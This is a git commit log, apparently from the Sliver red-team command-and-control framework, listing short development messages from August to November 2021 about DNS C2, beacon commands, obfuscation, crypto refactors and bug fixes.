rkervella 280f5c6be7 Fix flag name 2021-11-19 19:39:44 -06:00
rkervella 77ddfd8013 Add error handling 2021-11-19 19:39:44 -06:00
rkervella 48d2eed385 Replace protobuf annotations with unique strings 2021-11-19 19:39:44 -06:00
moloch-- 36d531fa86 Entrypoint -> StartW 2021-11-19 19:39:44 -06:00
moloch-- ab2ab45edc Improved worker/queue pattern 2021-11-19 19:39:44 -06:00
moloch-- 2b2c1bdc13 splitBuffer tests for max parent 2021-11-19 19:39:44 -06:00
moloch-- 983b5476bd splitBuffer tests for b32 and b58 2021-11-19 19:39:43 -06:00
moloch-- cbd95a2003 tests and fixes for splitBuffer 2021-11-19 19:39:43 -06:00
moloch-- a3b1693a41 dnsclient unit tests 2021-11-19 19:39:43 -06:00
moloch-- 434ca2fee9 Improved unit tests 2021-11-19 19:39:43 -06:00
moloch-- 92ef847a59 wip on server-side send/recv impl 2021-11-19 19:39:43 -06:00
moloch-- 800c584397 Added variable encoding, wip 2021-11-19 19:39:43 -06:00
moloch-- b2a2dac63b Initial fingerprint impl working 2021-11-19 19:39:43 -06:00
moloch-- 954616b5a3 outlined fingerprint scheme 2021-11-19 19:39:43 -06:00
moloch-- 2cd4264101 Abstracted resolver impl 2021-11-19 19:39:43 -06:00
moloch-- b8d78c56e9 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- c5262aa807 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- 17dba3543d wip on dns c2 updates 2021-11-19 19:39:43 -06:00
moloch-- 7b0a83027e Modified base58 alphabet 2021-11-19 19:39:43 -06:00
moloch-- f46f7a36ff Updated b58 unit tests 2021-11-19 19:39:43 -06:00
moloch-- a369c46952 Base62 -> Base58 2021-11-19 19:39:43 -06:00
moloch-- 907ef9ca2f Updated lics 2021-11-19 19:39:43 -06:00
moloch-- 4df5c78b7e Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-11-19 19:39:43 -06:00
moloch-- 3765e016b4 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- 6fa06e8d74 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- c3841efcef Fix dns imports 2021-11-19 19:39:42 -06:00
moloch-- 508e9ab9d9 dns wip 2021-11-19 19:39:42 -06:00
moloch-- 433482031c added pb 2021-11-19 19:39:42 -06:00
moloch-- a4a94eca98 some initial refactoring 2021-11-19 19:39:42 -06:00
moloch-- ecea6049a8 check n bytes 2021-11-19 19:39:42 -06:00
moloch-- 1767c34f47 Go v1.17.2 2021-11-19 19:39:42 -06:00
moloch-- 6fd1e4802b Cleanup tunnel read() 2021-11-19 19:39:42 -06:00
moloch-- f745d9524e Remove server core import 2021-11-19 19:39:42 -06:00
rkervella a8464d5b0c Fix DLL hijack protobuf 2021-11-19 19:39:40 -06:00
rkervella cc7a56e07b Close connection once payload has been sent. 2021-11-19 19:38:32 -06:00
Chris Smith cdbf93d64b Enable hyphen in operator names 2021-11-19 19:38:32 -06:00
rkervella fdd319f6f3 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-11-19 19:38:32 -06:00
dependabot[bot] 22f840acbd Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-11-19 19:38:32 -06:00
moloch-- 9d200bb2aa mvp of open session 2021-11-19 19:38:32 -06:00
moloch-- 17b6cf7a5e OpenSession wip 2021-11-19 19:38:30 -06:00
moloch-- 22efd18301 Modified connection pattern to support runtime values 2021-11-19 19:38:14 -06:00
rkervella 4d45883c72 Fix Sprintf statement 2021-11-19 19:36:56 -06:00
rkervella b98bf6ef53 Fix short flag conflict 2021-11-19 19:36:56 -06:00
rkervella 65ea935750 Add missing flag, rename short flag 2021-11-19 19:36:56 -06:00
rkervella 9865ee2396 Update COFF Loader version 2021-11-19 19:36:56 -06:00
rkervella ca7cf74387 Remove double build constraints 2021-11-19 19:36:56 -06:00
rkervella 9eb6fda037 Rework uintptr cast to avoid size limitation 2021-11-19 19:36:56 -06:00
rkervella 1a5eb1c118 Fix flags types and help string 2021-11-19 19:36:56 -06:00
rkervella f43d01b4b0 Add kill support for beacons 2021-11-19 19:36:54 -06:00
moloch-- 96fe3c7db8 Regenerate pb 2021-11-19 19:36:23 -06:00
Raf 8188ba689d client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-11-19 19:36:00 -06:00
rkervella 4517684728 Refactor to use GetInteractive() 2021-11-19 19:35:08 -06:00
rkervella ab1b72f410 Cleaning up Windows kill handler 2021-11-19 19:35:08 -06:00
rkervella fd83024e4b Add autocomplete for use 2021-11-19 19:35:08 -06:00
rkervella 18ee8e5133 Switch beacons command to the Generic help group 2021-11-19 19:35:07 -06:00
rkervella 5a96962611 Switch beacons command to the proper help group 2021-11-19 19:35:07 -06:00
rkervella 85b592b2b9 Add helpgroup for beacons 2021-11-19 19:35:07 -06:00
moloch-- 91a569f389 Implemented beacon priv cmds 2021-11-19 19:35:07 -06:00
moloch-- b646ca835c Implemented beacon registry cmds 2021-11-19 19:35:07 -06:00
moloch-- 26993f797c Implemented beacon screenshot 2021-11-19 19:35:07 -06:00
moloch-- ec743b2e85 Implemented beacon proc cmds 2021-11-19 19:35:07 -06:00
moloch-- 0ac43c69d6 Implemented task fetch for netstat 2021-11-19 19:35:07 -06:00
moloch-- a2f8bac4b1 Ported netstat to beacon/table writer 2021-11-19 19:35:07 -06:00
moloch-- 2c9643b404 Added support for GOPROXY env var and server config 2021-11-19 19:35:07 -06:00
moloch-- 1239b5fd87 Added multiplayer -p flag 2021-11-19 19:35:07 -06:00
moloch-- d904a74d14 Added new flags to http/https listeners 2021-11-19 19:35:07 -06:00
moloch-- 60aaeebe0b Added --all to ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 000ecb51eb Added beacon prune command 2021-11-19 19:35:07 -06:00
moloch-- fbddd67930 Added beacon watch command 2021-11-19 19:35:07 -06:00
moloch-- 10f7b000b4 implemented ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 2f3ebbfcd5 Task fetch for ssh, and env tasks 2021-11-19 19:35:06 -06:00
moloch-- b54d97b497 Implemented task fetch for exec pkg 2021-11-19 19:35:06 -06:00
moloch-- eedfb272a5 Implemented more task fetch renderers 2021-11-19 19:35:06 -06:00
moloch-- 47857e903c Added command to fetch old task results 2021-11-19 19:35:06 -06:00
moloch-- 0da314d925 Updated ssh to work with beacon 2021-11-19 19:35:06 -06:00
moloch-- c132b14272 Updated spawndll client cmd 2021-11-19 19:35:06 -06:00
moloch-- f6b7e07653 Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-11-19 19:35:06 -06:00
moloch-- 60cbf09520 Ported msf/msf-remote to support beacon 2021-11-19 19:35:04 -06:00
moloch-- 0090e8dfd8 Added beacon support to execute-shellcode 2021-11-19 19:34:11 -06:00
moloch-- 099753fa74 Added beacon support to execute-assembly 2021-11-19 19:34:11 -06:00
moloch-- 6685bf486e Only paginate on 2x terminal sized tables 2021-11-19 19:34:11 -06:00
moloch-- 6d5a288626 UX improvements 2021-11-19 19:34:11 -06:00
rkervella 3bf157b29d Refactor 2021-11-19 19:34:11 -06:00
rkervella 146be0e814 Revert "Refactoring"
This reverts commit de7fd664cd.
2021-11-19 19:34:11 -06:00
rkervella 065fc3ffa6 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-11-19 19:34:11 -06:00
rkervella d3da84731f Refactoring 2021-11-19 19:34:11 -06:00
rkervella b451d90a33 Escape string before JSON parsing 2021-11-19 19:34:11 -06:00
rkervella c01ace4a67 Add PID to bof result 2021-11-19 19:34:10 -06:00
rkervella e8d22af3bc Check for nil pointer 2021-11-19 19:34:10 -06:00
rkervella 50f83c958b Removed comment 2021-11-19 19:34:10 -06:00
rkervella 6ac9a16aa7 Remove commented code 2021-11-19 19:34:10 -06:00
rkervella caad9de26c Initial BOF support for Prelude Operator 2021-11-19 19:34:10 -06:00
rkervella 70805d04f7 Remove logging 2021-11-19 19:34:10 -06:00
moloch-- a3b98716a7 Stage socks branch 2021-11-19 19:28:52 -06:00
moloch-- 24f6a9d8ab Fix fmt import 2021-11-19 17:26:52 -06:00
moloch-- d6b5571c7e Tweaked dns c2 2021-11-19 17:02:34 -06:00
moloch-- c0b08cbd42 Moving to per-c2 opts 2021-11-19 15:09:06 -06:00
moloch-- d567a21f8c Wire dns c2 to beacon interface 2021-11-19 13:28:13 -06:00
moloch-- 105d80cdb7 Increase default workers 2021-11-19 09:33:59 -06:00
moloch-- d1627c9030 DNS C2 mvp 2021-11-18 20:10:55 -06:00
moloch-- 661732012d Wired send loop 2021-11-18 12:43:51 -06:00
moloch-- f55f248fbc Outlined the rest of server-side dns c2 2021-11-18 11:24:50 -06:00
moloch-- 6817c5a117 Wired dns recv to core 2021-11-18 08:56:17 -06:00
moloch-- 6b31d6985a More/larger tests 2021-11-17 19:47:42 -06:00
moloch-- 47357c346a Re-assemble unit tests 2021-11-17 19:38:28 -06:00
moloch-- 970ff6b80b Updated garble 2021-11-17 14:48:01 -06:00
moloch-- 126dc44c44 Merge branch 'stage' into v1.5.0_dns2 2021-11-17 13:53:00 -06:00
moloch-- 4abc395485 Entrypoint -> StartW 2021-11-16 08:52:18 -06:00
rkervella 0f5284fb2d No need for CGO for shellcodes anymore 2021-11-15 14:21:32 +01:00
moloch-- 0f4dc27498 Improved worker/queue pattern 2021-11-14 15:16:39 -06:00
moloch-- 7ea5039e9a splitBuffer tests for max parent 2021-11-14 13:25:58 -06:00
moloch-- b1e4a016d4 splitBuffer tests for b32 and b58 2021-11-14 13:19:18 -06:00
moloch-- 785810ebea tests and fixes for splitBuffer 2021-11-14 10:44:52 -06:00
moloch-- 5779f337d0 dnsclient unit tests 2021-11-14 09:10:28 -06:00
moloch-- ab93f0d1c6 Improved unit tests 2021-11-13 13:40:15 -06:00
moloch-- d4cc59d1e6 wip on server-side send/recv impl 2021-11-09 18:43:55 -06:00
rkervella 03d1f92441 Merge branch 'v1.5.0_beacon' into stage 2021-11-09 11:23:24 +01:00
rkervella 77ddf234bd Add missing Request field 2021-11-09 11:22:02 +01:00
rkervella a53bc17665 Switch upstream memmod to up to date version 2021-11-08 10:09:14 +01:00
moloch-- 1682f58801 Added variable encoding, wip 2021-11-06 19:16:06 -05:00
moloch-- 3d4e76990c Initial fingerprint impl working 2021-11-06 13:14:46 -05:00
moloch-- d97fb249a8 outlined fingerprint scheme 2021-11-05 17:46:29 -05:00
rkervella e8714dbdec Fix flag name 2021-11-03 11:48:59 +01:00
rkervella f69a4f8b92 Add error handling 2021-11-03 10:34:04 +01:00
moloch-- c2925a8a57 Abstracted resolver impl 2021-11-02 19:46:14 -05:00
moloch-- 6484b0c5a6 Platform specific find resolvers 2021-11-01 10:59:37 -05:00
moloch-- 338b8bb5b2 Platform specific find resolvers 2021-11-01 10:55:12 -05:00
moloch-- 15ca3871dd wip on dns c2 updates 2021-10-31 15:50:13 -05:00
moloch-- f11a1333bb Modified base58 alphabet 2021-10-31 10:40:27 -05:00
moloch-- 4a2c9cb50e Updated b58 unit tests 2021-10-31 10:36:28 -05:00
moloch-- c8928b4864 Base62 -> Base58 2021-10-31 10:35:34 -05:00
moloch-- 13ecb9782b Updated lics 2021-10-30 15:33:23 -05:00
moloch-- 05ce79e986 Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-10-30 15:26:31 -05:00
moloch-- a3c7d057f6 Updated garble 2021-10-30 13:00:16 -05:00
moloch-- b3277d0f4c Updated garble 2021-10-30 12:51:09 -05:00
moloch-- 1f0e9d6995 Fix dns imports 2021-10-30 12:16:57 -05:00
moloch-- 478f677f55 dns wip 2021-10-30 11:30:22 -05:00
moloch-- 7463298de1 added pb 2021-10-30 09:45:19 -05:00
moloch-- 7306d439e1 some initial refactoring 2021-10-30 08:22:59 -05:00
rkervella 66d6e8043a Merge branch 'dont-merge-that' into stage 2021-10-29 19:00:40 +02:00
rkervella 11505d8f94 Replace protobuf annotations with unique strings 2021-10-29 19:00:13 +02:00
moloch-- 452d7b7fce check n bytes 2021-10-27 16:43:18 -05:00
moloch-- 606c5ac948 Go v1.17.2 2021-10-22 08:31:58 -05:00
moloch-- 8ee4f786b4 Cleanup tunnel read() 2021-10-21 08:46:15 -05:00
moloch-- 79a96368d0 Remove server core import 2021-10-21 08:44:00 -05:00
moloch-- 8176068bb5 Merge latest v1.5 2021-10-21 08:31:03 -05:00
moloch-- ff8de9922e Merge master 2021-10-21 08:29:05 -05:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella 56f339c8a3 Fix Sprintf statement 2021-10-21 15:13:29 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
moloch-- 9db930b10f mvp of open session 2021-10-09 17:49:03 -05:00
a3sroot 2fa6bc2e59 Defective socks 2021-10-05 11:57:29 +08:00
moloch-- 2e3f92ed22 OpenSession wip 2021-10-04 17:35:51 -05:00
rkervella c552a2fd9f Fix short flag conflict 2021-10-01 12:11:27 +02:00
rkervella e729576a6d Add missing flag, rename short flag 2021-10-01 12:05:32 +02:00
moloch-- c9f04b0a1c Modified connection pattern to support runtime values 2021-09-28 13:02:18 -10:00
rkervella a439c39d64 Update COFF Loader version 2021-09-28 10:44:58 +02:00
rkervella 0471a219c4 Remove double build constraints 2021-09-28 10:35:00 +02:00
rkervella 6631727242 Rework uintptr cast to avoid size limitation 2021-09-28 10:34:10 +02:00
rkervella c21171d739 Fix flags types and help string 2021-09-28 10:19:23 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
rkervella 4ad1f1a561 Add kill support for beacons 2021-09-28 10:15:51 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
rkervella ee8603b30c Merge branches 'v1.5.0_beacon' and 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-09-27 18:19:38 +02:00
rkervella 11ea01819f Refactor to use GetInteractive() 2021-09-27 11:05:30 +02:00
rkervella da39a82b83 Cleaning up Windows kill handler 2021-09-27 10:58:48 +02:00
rkervella 3ce730a469 Add autocomplete for use 2021-09-27 10:50:58 +02:00
rkervella f52ee8c28f Switch beacons command to the Generic help group 2021-09-27 10:37:08 +02:00
rkervella 150511df9b Switch beacons command to the proper help group 2021-09-27 10:36:20 +02:00
rkervella 3e8c3fc02e Add helpgroup for beacons 2021-09-27 10:32:09 +02:00
moloch-- 019d0d40f6 Regenerate pb 2021-09-26 19:47:54 -07:00
moloch-- 268aa95169 Merged v1.5.0_beacon 2021-09-26 19:47:23 -07:00
moloch-- 7775880277 Implemented beacon priv cmds 2021-09-26 19:31:05 -07:00
moloch-- ba541ffd43 Implemented beacon registry cmds 2021-09-26 18:44:59 -07:00
moloch-- a60cc86c9a Implemented beacon screenshot 2021-09-26 18:12:32 -07:00
moloch-- 0099e06cc6 Implemented beacon proc cmds 2021-09-26 17:41:18 -07:00
moloch-- b0fdec2700 Implemented task fetch for netstat 2021-09-26 15:43:28 -07:00
moloch-- 8419cf7442 Ported netstat to beacon/table writer 2021-09-26 15:38:24 -07:00
moloch-- d470543f98 Added support for GOPROXY env var and server config 2021-09-26 10:59:46 -05:00
moloch-- 84d41f063b Added multiplayer -p flag 2021-09-25 22:47:15 -05:00
moloch-- c876f34cd0 Added new flags to http/https listeners 2021-09-25 19:42:53 -05:00
moloch-- 7ba3f87afb Added --all to ifconfig 2021-09-25 17:57:26 -05:00
moloch-- 008f9c6fde Added beacon prune command 2021-09-25 17:16:21 -05:00
moloch-- 80e6c2a24e Added beacon watch command 2021-09-25 16:15:08 -05:00
moloch-- 69842674d2 implemented ifconfig 2021-09-25 15:34:23 -05:00
moloch-- b2f9ccfab6 Task fetch for ssh, and env tasks 2021-09-25 14:34:53 -05:00
moloch-- 358b6ab20d Implemented task fetch for exec pkg 2021-09-25 13:34:52 -05:00
moloch-- 268db3ce00 Implemented more task fetch renderers 2021-09-25 12:10:24 -05:00
moloch-- 03dfb2f5d9 Added command to fetch old task results 2021-09-25 10:07:29 -05:00
moloch-- d4e809d889 Updated ssh to work with beacon 2021-09-25 08:44:38 -05:00
moloch-- 6f6fd8f0f5 Updated spawndll client cmd 2021-09-25 08:21:45 -05:00
moloch-- f5e374293c Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-09-25 07:56:36 -05:00
moloch-- 8f12e35124 Ported msf/msf-remote to support beacon 2021-09-25 07:06:27 -05:00
moloch-- b27809d9ba Added beacon support to execute-shellcode 2021-09-24 22:52:13 -05:00
moloch-- 377d56bda3 Added beacon support to execute-assembly 2021-09-24 22:35:46 -05:00
moloch-- 4bcb0cb61f Only paginate on 2x terminal sized tables 2021-09-24 20:46:17 -05:00
moloch-- 9d6870e792 UX improvements 2021-09-24 19:34:44 -05:00
moloch-- 93b1e3a7b4 Fix use context switch 2021-09-23 20:37:06 -05:00
moloch-- 90f799a6f2 UX improvements 2021-09-23 19:23:13 -05:00
moloch-- 251423bc28 Improved beacon ux 2021-09-23 15:38:57 -05:00
moloch-- 03957f4d01 Fix next/last checkin for beacons 2021-09-23 13:50:31 -05:00
moloch-- a7d07e372a Bug fixes to http(s) beacons 2021-09-23 08:42:55 -05:00
moloch-- 364b0d6f57 Added http close() 2021-09-22 14:42:58 -05:00
moloch-- 52ef179988 Improved comments 2021-09-22 07:52:55 -05:00
moloch-- 79a50d24fe Go v1.17.1 2021-09-21 09:19:50 -05:00
moloch-- 4e23091147 Send hash of public key instead of public key 2021-09-20 19:02:19 -05:00
moloch-- 98e7f7abf8 New key exchange working 2021-09-20 18:32:54 -05:00
moloch-- 92e833a481 Fixes/refactor to mtls 2021-09-20 17:30:53 -05:00
moloch-- b442f95a7b Major refactor of core crypto 2021-09-20 16:33:36 -05:00
moloch-- da8d5b8a0c wip on pivots 2021-09-19 20:41:46 -05:00
moloch-- 3151b559a6 Added chacha20poly1305 to cryptography 2021-09-17 16:36:33 -05:00
moloch-- b02489a5d3 Fixes/updates operators status command 2021-09-14 19:13:42 -05:00
moloch-- eb57802c28 More strict auth checks in middleware 2021-09-14 16:45:31 -05:00
Joe 767644ddc3 Merge pull request #510 from RafBishopFox/stage
A small fix for ls
2021-09-13 17:15:29 -05:00
Raf 185913c6eb client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-09-13 15:22:29 -04:00
moloch-- e3093bee6e Implemented a real kick-operator cmd 2021-09-11 23:18:24 -05:00
moloch-- f6014393be Added per-operator call credentials 2021-09-11 22:39:32 -05:00
moloch-- 90de40f1ee gofmt 2021-09-11 19:57:15 -05:00
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
rkervella cc2a5bb622 Refactor 2021-09-10 17:27:59 +02:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
rkervella 3d7889183a Revert "Refactoring"
This reverts commit de7fd664cd.
2021-09-10 16:17:49 +02:00
rkervella d2297f9423 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-09-10 16:13:47 +02:00
rkervella de7fd664cd Refactoring 2021-09-10 15:25:05 +02:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
rkervella 1549b894fa Escape string before JSON parsing 2021-09-10 13:39:59 +02:00
rkervella 32119e09dc Add PID to bof result 2021-09-10 12:31:26 +02:00
rkervella 4dd5319987 Check for nil pointer 2021-09-10 11:06:46 +02:00
rkervella 860452c418 Removed comment 2021-09-10 10:51:55 +02:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
rkervella 4d64866a15 Remove commented code 2021-09-09 10:19:27 +02:00
rkervella 1d859f99c8 Initial BOF support for Prelude Operator 2021-09-08 13:55:31 +02:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella c3f5f2bf85 Remove logging 2021-09-05 10:53:37 +02:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
